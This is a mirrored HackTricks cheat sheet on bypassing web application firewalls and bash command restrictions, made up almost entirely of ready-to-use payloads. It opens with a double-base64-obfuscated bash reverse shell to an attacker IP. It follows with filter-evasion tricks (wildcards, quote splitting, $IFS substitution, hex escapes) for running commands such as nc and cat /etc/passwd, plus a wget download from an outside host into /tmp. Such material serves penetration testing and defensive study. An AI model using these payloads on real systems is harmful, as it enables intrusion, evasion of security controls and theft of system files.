mirror of
https://github.com/carlospolop/hacktricks
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92 lines
2.9 KiB
Markdown
92 lines
2.9 KiB
Markdown
# WAF Evasion / Bypass Bash Restrictions
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## Reverse Shell
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```sh
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# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
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echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
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#echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
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```
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## Bypass Paths and forbidden commands
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```sh
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# Question mark binary substitution
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/usr/bin/p?ng # /usr/bin/ping
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nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
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# Wildcard(*) binary substitution
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/usr/bin/who*mi # /usr/bin/whoami
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# Wildcard + local directory arguments
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touch -- -la # -- stops processing options after the --
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ls *
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# [chars]
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/usr/bin/n[c] # /usr/bin/nc
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# Quotes / Concatenation
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'p'i'n'g # ping
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"w"h"o"a"m"i # whoami
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\u\n\a\m\e \-\a # uname -a
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ech''o test # echo test
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ech""o test # echo test
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bas''e64 # base64
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# Uninitialized variables: A uninitialized variable equals to null (nothing)
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cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
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p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
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# Fake commands
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p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
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w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
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# Concatenation of strings using history
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!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
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mi # This will throw an error
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whoa # This will throw an error
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!-1!-2 # This will execute whoami
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```
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## Bypass forbidden spaces
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```sh
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# {form}
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{cat,lol.txt} # cat lol.txt
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{echo,test} # echo test
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## IFS - Internal field separator, change " " for any other character ("]" in this case)
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cat${IFS}/etc/passwd # cat /etc/passwd
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cat$IFS/etc/passwd # cat /etc/passwd
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# Put the command line in a variable and then execute it
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IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
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IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
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IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
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# Other way, just change each space for ${IFS}
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echo${IFS}test
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# Using hex format
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X=$'cat\x20/etc/passwd'&&$X
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# New lines
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p\
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i\
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n\
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g # This 4 lines will equal to ping
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## Undefined variables and !
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$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
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uname!-1\-a # This equals to uname -a
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```
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## Bypass IPs
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```sh
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# Decimal IPs
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127.0.0.1 == 2130706433
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```
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## References & More
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{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits" %}
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{% embed url="https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet" %}
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{% embed url="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" %}
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{% embed url="https://www.secjuice.com/web-application-firewall-waf-evasion/" %}
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